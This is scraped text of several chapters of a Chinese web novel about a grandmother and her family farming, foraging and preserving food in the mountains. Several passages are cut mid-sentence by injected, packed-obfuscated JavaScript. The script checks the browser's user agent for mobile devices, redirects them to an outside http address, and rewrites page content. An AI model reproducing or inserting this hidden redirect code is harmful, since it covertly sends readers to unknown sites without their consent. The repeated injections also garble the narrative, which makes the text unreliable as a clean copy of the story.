它伏稳后，发出了一声极轻极满足的、近乎叹息的“咕咕”声，先前那点警惕和焦躁完全消失了，眼神也变得专注而柔和。 它甚至用喙整理了一下胸前蓬松的羽毛，确保下面的蛋能被更好地保温。 从这一刻起，除非必要，它极少离开这个窝，所有的精力与爱意，都将倾注于身下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287134|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这十枚承载着新希望的蛋中。 林禾见状，明白小花这是接受了这些鸭蛋，放心地将手中的小陶盆放下。 “早晚过来喂一次就行。” 野鸭在孵蛋的时候，不会轻易离开。 大妞和二妞手拉着手，踮着脚尖，远远瞧见新搭好的鸭窝，眼睛一下就亮了。 二妞性子急，挣脱姐姐的手就想冲过去，被大妞一把拉住。 “慢点！别吓到小花了！” 大妞仔细打量着石壁下的新家，看到那结实的木框架、厚实的顶棚和里面蓬松柔软的绿草，眼里露出放心的神色。 “奶奶想得真周到，”她小声对妹妹说，“这地方又暖和又安静，比鸭圈里舒服多了，小花肯定喜欢。” 二妞可等不及了，她猫着腰，像只小兔子一样蹑手蹑脚地靠近。 她扒在石头边沿，只露出一双圆溜溜的眼睛往里瞧。 当她看到小花安安稳稳地伏在窝里，身下藏着宝贝蛋，那副专注又温柔的样子跟它平时判若两鸭时。 二妞忍不住用气声欢呼：“哇！小花真的在孵蛋了！它看起来像个认真的鸭妈妈了！” 她忘了刚才被啄屁股的“深仇大恨”，满心满眼都是期待。 “姐姐！姐姐！你说小花多久能孵出小鸭子呀？会不会是毛茸茸、黄澄澄的？” 大妞也慢慢走过来，蹲在二妞旁边，更细致地观察。 她看到小花偶尔会极轻地调整一下姿势，用喙小心地翻动身下的蛋，动作轻柔极了。 “还早着呢！我听奶奶说过，大概要二十八天左右。” 她认真地回答，“我们要耐心等，千万别来打扰它，不然它会害怕的。” 二人正说着话，林禾眼角的余光瞥见旁边的石头后面，似乎有两个毛茸茸的小脑袋一闪而过，还传出些低低的说话声。 林禾不用猜就知道是大妞二妞跟了过来。 两人鬼鬼祟祟地交头接耳，一个正努力比划着想爬上石头看得更清楚，另一个则紧张地拽着她的衣角，两双眼睛里闪烁着又好奇的光芒。 第49章 黄花菜 林禾忍住笑意，故意清了清嗓子，朝着石头的方向提高了点声音。 “是哪两只小皮猴躲在树后面啊？是想帮奶奶看看这鸭窝结不结实，还是想帮小花一起孵蛋呀？” 石头后面的动静戛然而止。 紧接着，两个小脑袋慢吞吞地探了出来，脸上挂着被当场抓包的的笑容。 大妞挠挠头，二妞咧着嘴笑，异口同声地小声辩解：“奶奶，我们没想捣乱……” “我们就看看……”二妞的眼睛忍不住往温暖的鸭窝那边瞟。 “看看小花是不是真的要当娘了……”大妞接上二妞的话补充完整，声音越来越小。 林禾朝他们招招手。 “要看就过来大大方方地看，躲躲藏藏的，反而容易惊着它。记住了，以后想看就安安静静的站过来，不能吵，也不能靠太近，知道吗？” 大妞二妞如蒙大赦，连忙从树后跑出来，学着自己林禾的样子，小心翼翼地围在鸭窝不远不近的地方，好奇又敬畏地看着里面正在履行伟大使命的小花。 一个个都把呼吸放得轻轻的，仿佛声音大一点都会惊扰了正在孕育中的小生命。 这样的事情对她们来说是很新奇的事情。 王三娘拿着切好的鸭食过来，瞧见撅着屁股的两个女儿，放下鸭食，轻声道。 “我还说她们去哪儿了，原来是一起跟着过来了。” “倒在盆里就行。”林禾把陶盆拉过去一点。 王三娘倒完鸭食，将两个小家伙拽起来，“行了，走吧，别耽误小花孵蛋了。” “噢！” 大妞二妞异口同声应下，跟在王三娘身后，和其他人一起离开。 一行人轻手轻脚地离开鸭窝，往回走。 夕阳把山道染得金黄。 “娘，你看！”眼尖的二妞忽然指着山坡一侧喊起来。 那里有一片绿油油的植株，顶端开着一簇簇金黄色的、细长如喇叭的花朵。 有的还含着苞，有的则已半开半放，在风里轻轻摇曳，像举着小喇叭吹奏似的。 “是黄花菜！” 大妞也认出来了，语气里带着点欣喜。 林禾眯眼看了看，笑道：“还真是，正好，采些回去晚上添个菜。” 二妞最是心急，得到准许，像只小鹿似的蹦跳着就冲了过去，伸手就要去揪那开得最盛的一朵。 “慢着点！”林禾忙叫住她。 “别把整棵都扯坏，看好了，要采这种花苞将开未开，或者刚开一点的，这样的最嫩，好吃！开得太散的，味道就差了。” 她边说边示范，手指捏住花梗底部，轻轻向下一掐，一朵完美的黄花菜就摘了下来。 大妞听得认真，点点头，也走进花丛。 她动作仔细，先观察，挑拣着符合要求的饱满花苞，再稳稳地掐下，放进自己身前用衣服兜着，一丝不苟。 二妞学得快，也收敛了**躁，但速度依旧不减，小手飞快地在花丛间穿梭，专挑那些胖嘟嘟的金黄色花苞。 “这朵好！这朵也好！” 她一边采一边欢快地嘀咕。 王三娘看着漫山遍野的黄花菜，也笑了。 “这东西倒是好，仔细一点摘，往后年年自己长，摘也摘不完。” 她手脚麻利，动作又快又准，不一会儿就摘了一大把。 林禾一边采，一边对围在身边的孩子说道。 “这黄花菜可是好东西，晒干了能放好久，冬天没菜的时候泡开了，炖肉烧汤都香。” “吃了能清热利湿，对眼睛也好，还能安神呢，晚上吃了睡得好，对脑子也好，你们多吃点，越来越聪明。” “能让脑子变聪明？” 二妞听得眼睛更亮了，采得更起劲，仿佛多采一朵就能多聪明一分。 很快，几人手上就握满一簇簇金灿灿的黄花菜，散发着淡淡的清香。 夕阳西下，每个人都收获满满。 “够了够了！再采就吃不完了，留着过几天再来。”林禾直起身，捶了捶后腰，“走！回家，晚上给你们炒木耳吃！” 孩子们发出一阵小小的欢呼，身后的山坡上，那片金黄依旧热闹，静静等待着下一次的采摘。 回到山洞后，几人将手上的黄花菜放进陶盆里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄花菜色泽更加鲜亮，油润中透着金黄，口感脆嫩，带着独特的清甜滋味。 木耳肥厚弹滑，吸饱了汤汁，咬下去软中带韧，咸鲜可口。 鱼油和蒜香彻底激发了山野食材的鲜美，简单却无比美味。 二妞已经迫不及待地拿好了自己的木碗，眼巴巴地看着那碗菜。 又炒了一道干豆腐，拌了一碗凉拌折耳根。 “吃饭吧！” 林禾一早就看见二妞望眼欲穿的神情，她笑着宣布完，二妞就带着碗坐到石桌旁。 步入五月中旬，白天的时间越来越长。 寻常林禾几人吃完饭，外面的天早就黑了，现在却还透着微光，白天的燥热被晚风抚平。 王三娘带着大妞二妞坐在山洞外洗碗。 林禾蹲在草席旁边收着晒干的金银花，几大袋金银花晒干后只剩下半筐。 “娘，这金银花可真不禁晒，一晒居然缩水成这样，还是这鱼腥草叶子好，晒完还和从前差不多。” 沈大山把地上的草席卷起来，又提起放在手边的竹篮。 竹篮里放着满满一篮子晒干的鱼腥草叶子。 鱼腥草的叶子晒干后用来泡水喝，同样也有清热解毒、抗菌消炎的作用。 而且鱼腥草的叶子比金银花更容易获得，一年四季都长。 林禾伸手接过沈大山手上的竹篮，“篮子给我，你把晒在簸箕里的木耳收回来，免得晚上下一阵急雨都淋湿了。” “诶！” 沈大山应声去收晒得半干的木耳。 夜晚没有下雨，但次日早晨，林禾刚走出一段路，一阵急雨砸了下来。 没带蓑衣的林禾，只得躲在茂盛的灌木下暂时避雨。 好在雨下得急，停的也快。 莫约一刻钟，外面的雨就停了，林禾扛着锄头直奔梯田而去。 上次来施肥，土豆苗才长了三片真叶，这次一看居然大部分土豆苗都长出五六片真叶了，甚至有些都长了八片。 林禾瞧了，眉心紧皱。 按理来说，这个阶段的土豆苗保持四到五片真叶是最好的。 土豆苗和其他农作物不太一样，并不是苗长得越快越好。 土豆不是吃叶子而是吃茎块。 若是叶子过于发达，那埋在地下的茎块就没多少营养，个头小不说，甚至还有可能直接不长茎块。 才刚进入发棵期叶子就开始疯长，必须及时进行培土。 也就是要用土壤往上埋住土豆苗，最好是埋到二分之一的位置，只露出顶部的那两片叶子。 林禾一边锄地松土，一边刨土埋住土豆苗。 “娘！你在干什么！” 沈大山扔下手中的柴火，急着跑过来，看见一大半都被土埋住的土豆苗，心疼得蹲下立刻开始刨土。 “娘，这些土豆苗好不容易长出来，长得这般好，你怎么还将它们都埋了啊！” 沈大山觉得娘从前的毛病又犯了，干活开始乱来。 他昨天还特意来瞧过，看见茁壮成长的土豆苗，别提多开心了！ 今日砍完柴，他还特意绕路过来看，谁成想竟然看见这一幕。 林禾见他趴在地上又刨又挖，刚埋好的土豆苗又被挖出来大半，“起来！” “不起来！娘你别犯糊涂啊！” 沈大山护着土豆苗，生怕林禾再做出什么奇怪的举动。 “啪——” 林禾一巴掌打在沈大山的背上，沉着脸开口：“冷静下来没有？” “娘……”沈大山捂着背，有些委屈。 娘已经很久没对他动手了。 “起来！”林禾脸色不佳，沈大山也不敢和她犟，起身站在一旁。 “土豆苗不比其他，咱们吃的是它的根，若是叶子一味疯长，根就长不出来了，你说该不该埋？” 林禾这么一解释，沈大山算是听明白了。 一想到自己刚刚的举动，沈大山觉得脸上臊得慌，嗫嚅着开口：“该埋……” “往后遇事不要慌，想清楚再动手。”林禾看了他一眼，抬手指着被他刨开的土豆苗，“你弄坏的，就要原封不动地将土盖回去。” “娘，我知道了。” 沈大山老老实实地用手将土盖了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287136|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林禾继续将剩下的土豆苗埋好，转身踩着田埂往上走。 上面的红薯苗长得也格外旺盛，绿色的藤条铺满整个田地，甚至有些还延伸到了田埂上。 林禾顺手把田埂上的红薯藤拎起来，捡起沈大山刚刚丢在田埂上的柴刀，把多出来的这截红薯藤割断。 看着长势如此迅猛的红薯藤和土豆苗，林禾又看了一眼忙碌的沈大山。 “上次让你们来施肥，你们水肥各兑了多少？” “都是一半吧。”沈大山记得是半桶肥和半桶水。 “那难怪了。”林禾现在知道原因了。 她堆的肥不止有农家肥，还添了鸭粪、草木灰和一些腐叶，肥力很足，两勺就够一桶了。 他们添了半桶肥半桶水，也难怪这些土豆苗会疯长。 幸好发现的早。 红薯藤长得太密，也会影响地下的根系，更会相互抢夺营养。 所以林禾挑着长得茂密的地方一一清除干净，不一会儿就清理出一大团红薯藤。 红薯藤上的叶子也能吃，林禾理出一把红薯藤放在一边，又将剩下的红薯藤都捆在一起。 上次开荒，种着豆角的地方还剩下半亩地，这些红薯藤可以带回去扦插。 只是扦插前还得带回去挑一挑。 林禾将割下的红薯藤理顺，老茎剔去，只留嫩绿粗壮的段落。 沈大山默默跟过来，接过她手中的活计，动作麻利。 “扦插还得选阴天或雨后，一会儿温度上来了，下午弄好了再来。” 林禾抹了把额角的汗，“把这些藤都搬回去，还得仔细挑过。” 沈大山点头，将成捆的红薯藤甩上肩。 嫩藤叶在晨光中泛着水灵的光泽，断口处渗出乳白汁液。 回到山洞外，林禾拎出几个簸箕。 王三娘和大妞二妞围过来，学着林禾的样子挑选藤蔓。 指尖捋过藤条，专挑节间短、芽点密的。 老韧部分扔进在一旁拿去喂鸭子，顶端过嫩的放在另放一旁。 这几日的蔬菜便有了，晚上清炒更是一道好菜。 第51章 槐花盛开 几人最终选出的扦插条均是一尺长短，留三四芽眼。 林禾手拿柴刀斜削下去，红薯藤的断口利落。 每根插条下端削出斜面，能增大生根面积，但顶端切口则更加平齐，有利于减少水分蒸发。 林禾将处理好的插条整整齐齐码放进簸箕里，王三娘收拢了扔在一边的老茎，装在喂鸭子的陶盆中。 另一边，沈大山已扛着锄头在那半亩闲地里忙活起来。 锄起锄落，深翻尺许。 他将板结的土块敲碎耙平，顺势捡出里面的碎石草根。 草木灰均匀扬撒，黄色的土壤上染上灰白，杀菌的同时也是给土壤增加肥力。 沈大山熟练地开沟作垄，转动锄头，垄背拍实。 沟深大约只有半掌，宽一掌有余，垄与垄之间，留下两尺宽的间隙，便于日后行走打理。 半亩田，沈大山一个人，花费整个下午的时间才完成，新起的田垄线条分明，泥土蓬松。 傍晚，天气阴凉，正是扦插的好时机。 林禾挎着满筐红薯藤条来到地头，一家人紧随其后。 她挽起袖子，拿起一根藤条示范。 只见她捏住藤条顶部，斜面朝下，顺着垄脊，指尖发力，稳稳插入土中约三寸深。 两芽入土固根本，两芽朝外迎风长。 株与株之间，严格保持一掌的距离。 沈大山看一眼就明白了，他从前下地没少干活，虽然没扦插过红薯藤，但没吃过猪肉还没见过猪跑吗？ 他挽起袖子立刻动手，从竹筐中拿走一把红薯藤握在手上，学着林禾的样子精准入位。 一插一按，动作又快又稳，株距整齐划一。 王三娘带着大妞二妞跟在后面，仔细地将藤条按间距排放好，方便沈大山操作。 人多力量大，等全部插完，才过去一个时辰，太阳沉到山的另外一边，留下一些余晖在天边。 沈大山提来一大桶清水，“娘，水我放在旁边了。” “好！” 林禾拿起水勺，小心地沿着垄沟慢浇，让水分充分渗透，直至每株根部泥土都润成深赭色她才停下。 浇完水，林禾转身再次拿起锄头，锄刃刮起细土，轻轻覆在沟渠上。 一层薄土盖上，既能保墑防蒸发，又能抑制杂草，还让幼苗更加稳固。 放眼望去，新插的红薯苗成行成列，嫩叶微微挺立，在微风中轻颤，点点新绿为整个土地注入了蓬勃的生机。 林禾直起酸痛的腰背，望着这片新种下去的红薯藤，嘴角露出了欣慰的笑容。 辛苦归辛苦，但总归有盼头。 忙完地里的活，一家人拖着略微疲惫却满足的身躯往山洞走。 夕阳的余晖把影子拉得老长，空气中弥漫着新翻泥土的湿润气息。 “姐姐，你闻到没有？好香啊！” 二妞鼻子最灵，走在前面却忽然停下脚步，仰起头使劲嗅了嗅，“是一股甜丝丝的香味！” 众人顺着她的目光望去，只见小路旁不远处的坡地上，矗立着一棵老槐树。 此时正是花期，树上缀满了密密麻麻的白色花穗，有的已然盛放，像一串串小巧玲珑的风铃，在晚风里轻轻摇曳，散发出浓郁醉人的甜香。 有的却还是青绿色的花苞，紧紧闭合着，等待绽放的时机。 “这还有一棵槐花树啊？之前都没注意过。”王三娘来来**走了好几趟都没发现。 二妞这么一指，她才发现。 林禾也瞧见了，不过她早上也是从这条路上过来的，当时走得匆忙没发现。 想来也是槐花还未开的缘故，没有香味，槐花树长得又高，隐在茂密的树丛中，还真不容易发现。 林禾看着树上的槐花，笑道。 “这花开得正好，半开未开的时候最甜！咱们摘些回去，晚上正好用鸭蛋炒一盘，清新香甜！” 一听有好吃的，二妞立刻来了精神。 她第一个跑到树下，踮着脚尖就想够那低垂的枝条。 可惜她个子矮，蹦了几下也只碰到几片叶子。 沈大山见状，大步走过去，他个子高，手臂也长，轻松就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287137|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉下了一枝开得正繁茂的槐花枝桠。 王三娘和林禾也围了过去，手指灵活地采摘那些饱满洁白的半开花穗，避开完全盛开和未开的花苞。 “轻点掐，别把树枝扯坏了。”林禾一边摘一边提醒，“留些明天再来，树顶上的那些更嫩。” “诶！”王三娘手上的动作放缓了些。 二人很快就摘了一小捧，足够晚上炒一盘菜。 清甜的花香萦绕在指尖，让人心情愉悦。 第二天一早，乌云**在天空中，似乎随时要下雨。 林禾惦记着那树顶的好槐花，若是下雨，风雨一吹，槐花都被吹散了。 “大山，带上钩子和篮子，咱们再去一趟，把树顶上那些嫩的都摘下来，完全开了的也一起摘回来，免得下雨白白被糟蹋了。” 沈大山应了声，扛着长竹竿，竹竿顶端绑了个木钩子。 王三娘挎着个大竹篮，大妞二妞也跟在后面，一家人又来到了槐树下。 沈大山仰头看了看树冠，那些阳光最充足处的花穗果然更加肥嫩饱满。 他抡起长竿，用顶端的木钩子精准地勾住挂满花穗的细枝，手腕巧妙一拧，再轻轻往回一拉。 “咔嚓”一声轻响，一枝带着浓郁花香和露水的槐花枝就落了下来。 王三娘和大妞连忙接住，小心地将花穗捋到篮子里，避免揉烂。 二妞则在低处搜寻着昨天遗漏的花枝，小手飞快地采摘，嘴里还哼着不成调的歌。 林禾在一旁看着，指挥道：“对，就勾那边那枝，花苞多的……嗯！这枝好，够嫩！” 沈大山干活利索，钩、拉、拧、拽，动作流畅，一枝枝槐花应声而落。 他心里想着，这槐花是好东西，闻着就香！ 王三娘和林禾配合默契，一个接枝，一个捋花，动作又快又干净，很快就装了小半篮。 大妞在一旁帮忙，她做事仔细，会把不小心混进来的树叶和小枝仔细拣出去。 二妞摘够了低处的，又眼巴巴看着爹爹钩下来的新鲜枝条，跑过去帮忙捋花。 第52章 腌制咸鸭蛋 二妞是个嘴馋的。 闻着槐花的清香，她忍不住掐了一小朵半开的塞进嘴里，细细咀嚼，清甜的味道在口腔里蔓延，满足地眯起了眼。 “好甜！” 槐花的甜香笼罩着他们，混合着泥土和青草的气息，充满了最朴实的幸福感。 不过小半个时辰，带来的大竹篮就装得满满当当。 沈大山收了竹竿，王三娘拎了拎沉甸甸的篮子，心满意足。 林禾抬头看了一眼天空，“瞧着快下雨了，咱们赶紧先回去。” 林禾急着回去收晒在外面的盐。 果然应了林禾的话，几人刚回山洞不久，一阵雨被山风吹了过来。 但没持续太久，乌云一散，雨就停了，太阳也再次从云里冒了出来。 这几日的天气都是这般阴晴不定。 幸好林禾一早将晒在外面的烟收了回来。 沈大山晃动着还有水的浅口陶盆，“娘，这些盐里的水还没晒干，要再拿出去晒吗？” “不用。”林禾抬头望了一眼天空，转身带着陶盆往里走，“你将灶火烧起来。” 林禾挪开放在灶上的大陶锅，把浅口陶盆架在灶上，准备将多余的盐水煮干。 “奶奶，今天我们又捡了四个鸭蛋！” 二妞提着小篮子兴奋地跑过来，给林禾瞧竹篮里的鸭蛋。 没想到小花去孵蛋之后，剩下的母鸭子这几天生的蛋不减反增，才四天的功夫就捡了快二十个鸭蛋。 “奶奶，咱们什么时候开始腌咸鸭蛋？” 二妞把另外一个铺着草垫的竹篮也拿了过来，里面装着十九个鸭蛋，都是之前捡的。 二妞把小竹篮里的鸭蛋擦干净放进去，又重新数了一遍，仰头看着林禾，“奶奶，现在咱们有二十三个鸭蛋了！可以腌咸鸭蛋了吗？” 她自从听林禾说过一次腌咸鸭蛋的打算后，就一直盼着，每天捡鸭蛋她都去得最早，也最上心。 “可以，等我把盐煮出来就能腌了。”林禾手上还拿着筷子，不停搅拌着盆中的盐。 “我来帮忙烧火！”二妞见沈大山一走开去拿柴火，立马凑过去帮忙。 二妞如此积极的表现，还是引起林禾的注意，“二妞，你很爱吃咸鸭蛋吗？” “我想尝尝是什么味道的……”二妞睁着大眼睛，看向林禾时带着些期盼，“之前二狗子生辰，他娘给他吃了一整个咸鸭蛋，闻着可香了！可惜他只愿意给我瞧一眼……” 二妞的神情有些失落，但下一秒立刻振作起来，“不过，现在我也能吃到了！” 林禾听着觉得心疼，抬手摸了一把二妞的头，承诺道：“等二妞的生辰到了，奶奶不止给你吃咸鸭蛋，还给你做鸡蛋糕吃。” 林禾看着二妞好不容易才养得圆润些的脸颊，实在说不出拒绝的话。 本来瘦得皮包骨，这段时间每天都能吃饱，才慢慢养回来一些。 以前的日子苦，吃不到无可厚非，但现在的日子尚且过得去，不用苦着孩子。 “真的嘛！”二妞听完，眼睛瞬间亮了，声音带着难掩的激动：“我真的能自己吃一整个咸鸭蛋！？” 林禾点头应下，“真的，我不骗小孩子的。” 王三娘提着择干净叶子的槐花进来，听见林禾的话愣了一瞬间，随即放下手中的木桶支开二妞。 “二妞，你去外头帮大妞把剩下的槐花一起抬进来。” “好嘞！”二妞正在兴头上，高高兴兴往外走。 二妞一走，王三娘立刻开口道：“娘，两个孩子的生辰就是下个月十六号，鸭蛋恐怕来不得腌好，咱们一会儿得换个说辞了。” 林禾闻言也是一愣。 她的记忆里沈家孩子的生辰分明都是七月，二妞的生辰怎么会在六月？ “两个孩子的生辰都在六月？” 林禾仔细回忆了一遍，才突然惊觉，之前家里给孩子过生日都默认按照沈虎子的生辰过，大妞二妞从来没有在自己的生辰过过一次。 王三娘看林禾的样子就知道她记不得大妞二妞的生辰，脸上闪过一丝尴尬。 反应过来的林禾也立马道歉 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林禾将鸭蛋放进陶罐中，看着鸭蛋成功浮起来，就代表盐水的浓度已经够了。 林禾和王三娘一起，将竹篮里的鸭蛋一一放进陶罐中，最后封上陶罐。 二人合力将陶罐挪到阴凉的角落放好。 “娘还剩下这么多盐怎么办？” 王三娘有些懊悔，早知道就多烧一些小陶罐出来了。 现在要用的时候也不至于不够。 这么多盐一时间吃不完，也不能浪费啊！ 这些盐足足有大半罐嘞！ 林禾看着剩下的盐，又看了看木桶里的槐花，突然有了主意。 “三娘，将盐拿过来，咱们一会儿做盐渍槐花！” 盐渍槐花咸香入味，容易保存，等到秋冬天拿出来可以炒菜，也可以当馅料。 包饺子或者包子都是不错的选择，是类似于农家咸菜一般的存在。 第53章 盐渍槐花 “盐渍槐花？” 王三娘还是头一回听说，但婆婆总有新主意，她毫不犹豫地将那小半盆盐端了过来。 “大妞二妞，过来帮忙！这里面还有花梗，把这些槐花再仔细拣一遍，硬梗和叶子都不能要。” 林禾吩咐着，自己则去搬那个中号的陶罐，准备用来腌制。 “哎！” 大妞应得清脆，立刻拉着妹妹坐在小凳上，重新把装满槐花的木桶拖到身前，倾斜木桶，将槐花倒在簸箕上仔细挑选。 她做事细致，手指灵巧地翻动花穗，专挑出那些微小的叶片和稍硬的花梗。 二妞也学姐姐的样子，但她更心急，小手一把一把地捋，速度倒也不慢。 只是偶尔需要大妞从她挑好的那堆里再拣出点“漏网之鱼”。 “娘，这槐花要不要洗？” 王三娘看着这些刚摘回来还带着清香的槐花，有些拿不定主意。 “不洗。”林禾肯定地说，“沾了生水容易坏，咱们摘的时候都挺干净，挑拣干净焯完水之后直接腌就行，能保住原味。” 本来槐花上就不会有太多细菌，开水焯完水之后能杀死很大一部分细菌，之后又用盐腌制，很难有细菌存活下来。 焯水既是为了杀菌也是为了去涩味。 沈大山默默地去蓄水池旁边打来一桶清水，又将几个陶罐里外冲洗了一遍，倒扣在架子上沥干水分。 他力气大，搬动沉重的陶罐毫不费力。 一切准备就绪。 林禾将锅盖掀开，锅中的水沸腾，槐花倒入锅中过一遍水就捞出来，放在手边的冷水盆里过一遍水之后放在纱布里，挤干净水分。 林禾见沈大山差点将槐花包挤压成槐花干，急忙出言制止，“大山，不用太干，不滴水就行。” 她知道沈大山力气大，但也不至于压的一滴水都不剩下…… 保留少量的水分才方便入味。 “好，我知道了！” 沈大山应下了，手上的力道松了些，每次只挤压一下就够了。 悟性还是很不错的！ 沈大山挤压好的槐花都放在干净的陶盆里，方便林禾取用。 林禾在彻底干燥的陶罐底先薄薄撒上一层盐。 然后抓起一大把洁白槐花，均匀铺在盐上，厚度约一指。 接着，又抓起一把盐，细细地、均匀地撒在槐花上，如同在给土地施肥。 “就像这样，一层槐花一层盐。”林禾一边操作一边给王三娘解释，“盐要撒匀，不然有的地方齁咸，有的地方没味还容易坏。” 王三娘看明白了，挽起袖子将另外一个陶罐拿了过来，“娘，我看懂了，这就试试！” 婆媳俩配合默契。 王三娘手势轻柔地将蓬松的槐花铺平，避免揉烂花朵。 林禾则精准地掌控着盐量，雪白的盐粒从她指缝间簌簌落下，均匀覆盖在嫩白的花瓣上。 大妞和二妞负责源源不断地输送挑拣干净的槐花。 二妞跑来跑去，小脸兴奋得红扑扑的：“奶奶，这样冬天我们就有槐花包子吃啦？” “对，”林禾笑着点头，“到时候拿出来，用清水泡淡咸味，和肉沫一拌，香得很。” 想到那画面，二妞忍不住咽了口口水，干得更起劲了。 沈大山在一旁看着，偶尔帮忙扶一下陶罐，确保它稳当。 他看着罐子里一层雪白一层更雪白的景象，心里琢磨着，这法子好，山上的东西都能存下来，冬天饭桌就能更丰富些。 很快，陶罐就快满了。 最上面一层是厚厚的盐。 林禾用手掌轻轻按压，将槐花压实，减少空隙。 然后找来一大张干净的油纸，蒙住罐口，用麻绳紧紧扎牢。 “好了，放在阴凉地方，别沾生水，过上十来天就能吃了，能存好久。” 林禾拍拍陶罐，语气里全是满足。 腌制咸鸭蛋和槐花，一整个下午就过去了。 林禾正带着王三娘一起编竹漏勺，就见大妞匆匆忙忙从山洞外跑进来，一脸慌乱。 王三娘和林禾也跟着紧张起来。 大妞一向稳重，极少有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287139|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样慌乱的时候。 “大妞，二妞呢？”林禾先注意到不对。 “奶奶！二妞掉下粪坑了！”大妞说话时带着哭腔，“我拉不上来！” “别担心。”林禾闻言松了一口气。 她知道粪坑的深度，挖的时候特意控制了深度，就是怕出现这样的事情，还定期清理粪坑。 即便是二妞掉下去，最深就是陷到大腿的位置。 “大山，你随我过去，三娘，你烧水给二妞洗澡。” 林禾快速说完，先往粪坑的方向走。 沈大山紧随其后，大妞眼里含着泪水，也小跑着跟在林禾身后。 “二妞！”林禾看见陷在里面出不来的二妞，忙走过去先安慰：“没事的二妞，咱们陷的不深，马上拉你出来了。” 二妞的脸上写满恐惧和无措，就算粪坑不深，但切实陷在里面的人的感受最重要，也做不得假！ “奶奶！”二妞忍着的泪水，在看见林禾的瞬间，立刻流了下来，“我还能出去吗？我是不是要**？” 二妞的身量不高，即便粪水只到大腿的位置，但粪坑的高度依旧淹没她的头顶。 还有一块板子没断，盖在上方，遮住了一半的光，让二妞更加害怕。 “不会死的，出来洗个澡就好了。”林禾说完，见沈大山大步走过来，立刻让出位置，“将二妞拉上来。” 林禾的臂力不足以将二妞从下面抱上来，但沈大山却能一把将人拉出来。 二妞出来的时候，粪水溅了些在沈大山的脸上，但他却丝毫不在意，反倒拉着二妞问：“有没有哪里不舒服？吓着没有啊？” 他和平时的寡言不同，此刻他的担忧写在脸上。 二妞抱着沈大山的脖子，低声道：“爹，我没事了……” 沈大山就这样抱着二妞，也不介意身上蹭的都是粪水。 林禾看了断掉的木板一眼，跟着二人回了山洞。 沈大山和二妞身上都沾了不少粪水，全部要洗澡换衣服。 王三娘往灶台里添了不少柴火，力求尽快将水烧热。 第54章 葛根藤 好在粪坑比较浅，救上来也比较及时。 二妞虽然受了些惊吓，但好在已经被安抚住了。 王三娘忙着给二妞换衣裳洗澡，沈大山自己也没闲着。 他身上沾的粪水可不比二妞少。 林禾自然也没闲着，她围着粪坑转了一圈，将破了一半的木板拆下来。 这个粪坑实际上就是一个旱厕，农村有些地方也是挖一个大坑，坑上面架几块板子，人就蹲在板子上上厕所。 若是连着下雨或者风吹日晒，木板腐朽了，蹲在上面上厕所很容易掉下去。 小时候林禾不止一次做过这样的噩梦。 只是没想到自己没掉下去过，二妞倒是掉下去了。 拆掉的木板不能再用，自然也不能带回去当柴火烧，只能扔远一点。 林禾看着那拆下来的朽木，心里一阵后怕。 这粪坑虽不深，但淹着孩子可不是小事，必须得弄结实了。 她转身就往林子边走，目光锐利地扫视着地面和矮丛。 林禾专挑那些粗细均匀、比成人手臂略粗的硬木枝条，最好是栎木或别的耐腐的杂木。 “咔嚓！”她一脚踩断一根枯枝，太脆，不行。 “嘎吱——”她用力才能弯折另一根树木，韧性足，不易断，正好！ 她手脚麻利，不多会儿就拖回来七八根长短相近且结实笔直的木棍。 要想将这个木棍绑在一起，还得去找些有韧劲儿的老藤。 林禾沿着小路往下走，一眼就看见在风中摇晃的浅紫色花朵。 是葛根花！ 五月是葛根生长的旺盛时期，葛根花也会在这个时候开放。 